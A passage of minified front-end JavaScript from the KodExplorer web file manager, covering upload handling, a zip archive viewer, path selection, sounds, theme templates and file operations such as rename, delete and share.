href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),f(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/explorer_wap/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),a=e("../../common/pathOpen"),n=function(e,t,i){if(void 0!=e){if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/");var a=window.location.origin+window.location.pathname+window.location.search;window.location.href=a+"#"+urlEncode(G.this_path),ui.f5Callback(function(){"function"==typeof i&&i()})}},o=function(e,t){if(void 0!=e){if("folder"==t)return ui.path.list(e+"/"),void 0;var i=core.path2url(e),n=["pdf","html","htm"];if("oexe"==t)if("string"==typeof e){var o=e;"string"!=typeof e&&(o=e.content.split("'")[1]),core.fileGet(o,function(e){var t=jsonDecode(e);t.name=core.pathThis(o),core.openApp(t)})}else core.openApp(e);else if("pdf"==t){var i="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(core.path2url(e));window.location.href=i}else if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var s=navigator.userAgent.indexOf("Android")>-1||navigator.userAgent.indexOf("Adr")>-1;if(s){a.play([{url:i,name:urlDecode(core.pathThis(e)),ext:t}]);try{setTimeout(function(){$.artDialog.list.movie_player_dialog&&$.artDialog.list.movie_player_dialog._clickMax()},500)}catch(r){}}else window.location.href=i}else if(inArray(core.filetype.doc,t)){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),window.location.href=i}else if(inArray(n,t))window.location.href=i;else if(inArray(core.filetype.text,t)){var i=G.app_host+"index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),window.location.href=i}else if(inArray(core.filetype.image,t))ui.openImage(e);else{var i=G.app_host+"index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e));var l='<div class="unknow_file" style="width:200px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+'</span><br/><a class="btn btn-success btn-sm" href="'+i+'"> '+LNG.unknow_file_download+" </a></div>";$.dialog({fixed:!0,icon:"warning",width:30,lock:!0,background:"#000",opacity:.2,title:LNG.unknow_file_title,padding:10,content:l,cancel:!0})}}},s=function(e,t,a){var n=e.length;for(i=0;n>i;i++)if(e[i][t]==a)return e[i]},r=function(e){var t="",i=0;return null!=G.json_data.filelist&&(t=s(G.json_data.filelist,"name",e),null!=t&&(i=1)),null!=G.json_data.folderlist&&(t=s(G.json_data.folderlist,"name",e),null!=t&&(i=1)),i},l=function(e,t){var i,a=0;if(void 0==t){if(!r(e))return e;for(i=e+"(0)";r(i);)a++,i=e+"("+a+")";return i}if(!r(e+"."+t))return e+"."+t;for(i=e+"(0)."+t;r(i);)a++,i=e+"("+a+")."+t;return i},c=function(){$.dialog.prompt("",function(e){t.newFolder(G.this_path+e,function(){ui.f5()})},l("folder"))},d=function(){$.dialog.prompt("",function(e){t.newFile(G.this_path+e,function(){ui.f5()})},l("file","txt"))},p=function(e){$.dialog.prompt("",function(i){var a=core.pathFather(e)+i;t.rname(e,a,function(){ui.f5()})},core.pathThis(e))},f=function(e,t,i){return"folder"!=i&&(i="file"),e?[{path:t,type:i}]:{path:t,type:i}};return{pathOperate:t,pathOpen:a,download:function(e,i){"folder"==i?t.zipDownload([{path:e,type:"folder"}]):a.download(e)},remove:function(e,i){t.remove(f(!0,e,i),ui.f5)},copy:function(e,i){t.copy(f(!0,e,i))},cute:function(e,i){t.cute(f(!0,e,i),ui.f5)},info:function(e,i){t.info(f(!0,e,i))},past:function(){t.past(G.this_path,ui.f5)},open:o,list:n,newFolder:c,newFile:d,rname:p}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,f=Math.max(r.length,l.length);f>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var u=o(oFxNcL,oFyNcL);if(0!=u)return u}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,window.event&&window.event.shiftKey&&(a=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},f=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)u(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var 